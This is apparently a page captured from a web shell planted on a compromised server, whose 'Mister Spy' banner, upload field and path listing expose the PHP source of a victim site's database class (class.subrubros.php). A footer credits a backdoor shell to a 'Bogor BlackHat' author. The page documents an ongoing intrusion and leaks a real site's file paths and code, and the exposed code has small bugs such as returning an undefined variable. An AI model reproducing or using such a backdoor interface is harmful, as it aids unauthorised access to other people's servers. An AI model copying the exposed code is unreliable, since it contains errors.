Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.subrubros.php

<?php 

require_once('class.dbaccess.php');
require_once('class.subrubro.php');
require_once('class.rubros.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.estados.php');

class Subrubros extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if ((isset($filter['Nombre'])) && ($filter['Nombre'] != ''))
		{
			$sql.= " AND s.Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		}
		
		if ((isset($filter['IdRubro'])) && ($filter['IdRubro'] != ''))
		{
			$sql.= " AND s.IdRubro = " . DB::Number($filter['IdRubro']);
		}
		
		if ((isset($filter['IdEstado'])) && ($filter['IdEstado'] != ''))
		{	
			$sql.= " AND s.IdEstado = " . DB::Number($filter['IdEstado']);
		}		

		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblSubrubros s";
		$sql.= " INNER JOIN tblRubros r ON s.IdRubro = r.IdRubro";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY r.Orden, s.Orden, s.Nombre ASC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oSubrubro = new Subrubro();
			$oSubrubro->ParseFromArray($oRow);
			
			array_push($arr, $oSubrubro);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
	
	public function GetAllByRubro(Rubro $oRubro, array $filter = NULL)
	{
		$arr = array();
	
		$sql = "SELECT s.*";
		$sql.= " FROM tblSubrubros s";
		$sql.= " INNER JOIN tblRubros r ON r.IdRubro = s.IdRubro";
		$sql.= " WHERE s.IdRubro = " . DB::Number($oRubro->IdRubro);
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY r.Orden, s.Orden, s.Nombre ASC";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
					
		while ($oRow = $oRes->GetRow())	
		{	
			$oSubrubro = new Subrubro();
			$oSubrubro->ParseFromArray($oRow);
			
			array_push($arr, $oSubrubro);
			
			$oRes->MoveNext();
		}

		return $arr;
	}
	

	public function GetById($IdSubrubro)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblSubrubros s";
		$sql.= " INNER JOIN tblRubros r ON s.IdRubro = r.IdRubro";
		$sql.= " WHERE IdSubrubro = " . DB::Number($IdSubrubro);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oSubrubro = new Subrubro();
		$oSubrubro->ParseFromArray($oRow);
		
		return $oSubrubro;		
	}
	
	
	public function GetByKey($KeyRubro, $KeySubrubro)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblSubrubros s";
		$sql.= " INNER JOIN tblRubros r ON s.IdRubro = r.IdRubro";
		$sql.= " WHERE KeyRubro = " . DB::String($KeyRubro);	
		$sql.= " AND KeySubrubro = " . DB::String($KeySubrubro);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oSubrubro = new Subrubro();
		$oSubrubro->ParseFromArray($oRow);
		
		return $oSubrubro;		
	}	


	public function GetByNombre($Nombre)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblSubrubros s";
		$sql.= " INNER JOIN tblRubros r ON s.IdRubro = r.IdRubro";
		$sql.= " WHERE s.Nombre RLIKE " . DB::String($Nombre);	
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oSubrubro = new Subrubro();
		$oSubrubro->ParseFromArray($oRow);
		
		return $oTemplate;		
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblSubrubros s";
		$sql.= " INNER JOIN tblRubros r ON s.IdRubro = r.IdRubro";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Subrubro $oSubrubro)
	{
		$arr = array
		(
			'IdRubro' 		=> DB::Number($oSubrubro->IdRubro),
			'KeySubrubro' 	=> DB::String($oSubrubro->KeySubrubro),
			'Nombre' 		=> DB::String($oSubrubro->Nombre),
			'Imagen'		=> DB::String($oSubrubro->Imagen),
			'Orden'			=> DB::Number($oSubrubro->Orden),
			'IdEstado'		=> DB::Number($oSubrubro->IdEstado)
		);
		
		if (!$this->Insert('tblSubrubros', $arr))
			return false;
			
		return $oSubrubro;
	}
	
	
	public function Update(Subrubro $oSubrubro)
	{
		$where = " IdSubrubro = " . DB::Number($oSubrubro->IdSubrubro);
		
		$arr = array
		(
			'IdRubro' 		=> DB::Number($oSubrubro->IdRubro),
			'KeySubrubro' 	=> DB::String($oSubrubro->KeySubrubro),
			'Nombre' 		=> DB::String($oSubrubro->Nombre),
			'Imagen' 		=> DB::String($oSubrubro->Imagen),
			'Orden'			=> DB::Number($oSubrubro->Orden),
			'IdEstado'		=> DB::Number($oSubrubro->IdEstado)
		);
		
		if (!DBAccess::UpdateEntidad('tblSubrubros', $arr, $where))
			return false;
		
		return $oSubrubro;
	}
	

	public function UpdateChecks(Subrubro $oSubrubro)
	{
		if (!DBAccess::$db->Begin())
			return false;

		$where = " IdSubrubro = " . DB::Number($oSubrubro->IdSubrubro);
		
		$arr = array('IdEstado' => DB::Number($oSubrubro->IdEstado));
		
		if (!DBAccess::UpdateEntidad('tblSubrubros', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
			
		DBAccess::$db->Commit();
			
		return $oSubrubro;
	}


	public function Delete($IdSubrubro)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdSubrubro = " . DB::Number($IdSubrubro);
		if (!DBAccess::DeleteEntidad('tblCategoriasSubrubros', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
		if (!DBAccess::DeleteEntidad('tblSubrubros', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
	
	
	public function ExportCsv(array $filter = NULL)
	{
		if (!DBAccess::$db->Begin())		
			return false;
		
		$oRubros = new Rubros();
		
		$FileName = "Subrubros.xls";
		
		header("Pragma: no-cache");
		header("Expires: -1");
		header("Cache-Control: no-store, no-cache, must-revalidate");		
		header("Content-Type: application/x-unknown");
		$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
		header($header);
			
		$arrSubrubros = $this->GetAll($filter);
				
		$Separador 	= "\t";
		$SaltoLinea = "\n";
				
		$csv.= "Rubro";
		$csv.= $Separador;
		$csv.= "Subrubro";
		$csv.= $Separador;
		$csv.= "Orden";
		$csv.= $Separador;
		$csv.= "Estado";
		$csv.= $SaltoLinea;
	
		foreach ($arrSubrubros as $oSubrubro)		
		{
			$oRubro	= $oRubros->GetById($oSubrubro->IdRubro);
			
			$csv.= str_replace('(\t|\n)','', trim($oRubro->Nombre));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oSubrubro->Nombre));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oSubrubro->Orden));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim(Estados::GetById($oSubrubro->IdEstado)));
			$csv.= $Separador;

			$csv.= $SaltoLinea;
		}
		
		DBAccess::$db->Commit();

		print($csv);
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat